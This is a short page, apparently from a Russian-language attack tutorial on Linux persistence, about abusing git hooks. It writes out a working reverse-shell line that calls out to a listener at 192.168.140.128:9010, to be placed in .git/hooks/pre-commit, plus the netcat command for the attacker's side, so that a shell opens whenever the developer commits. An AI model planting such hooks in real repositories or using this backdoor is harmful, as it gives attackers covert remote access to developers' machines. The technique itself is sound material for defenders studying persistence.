> For the complete documentation index, see [llms.txt](https://reeves0x0.gitbook.io/linux-under-attack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reeves0x0.gitbook.io/linux-under-attack/persistence/10-git-hook.md).

# 10 - Git hook

У git, так же как и у APT есть концепция хуков, а еще файл конфигурации. Хуки распологаются в .git/hooks/ и имеют уникальные имена, для примера возьмем файл pre-commit.

```bash
// Правим файл .git/hooks/pre-commit, добавляем строку
bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1'
chmod +x .git/hooks/pre-commit


// на машине атакующего как всегда поднимаем netcat
nc -vln 9010
```

Теперь как только разработчик решит закоммитить свой код, мы получим шелл.
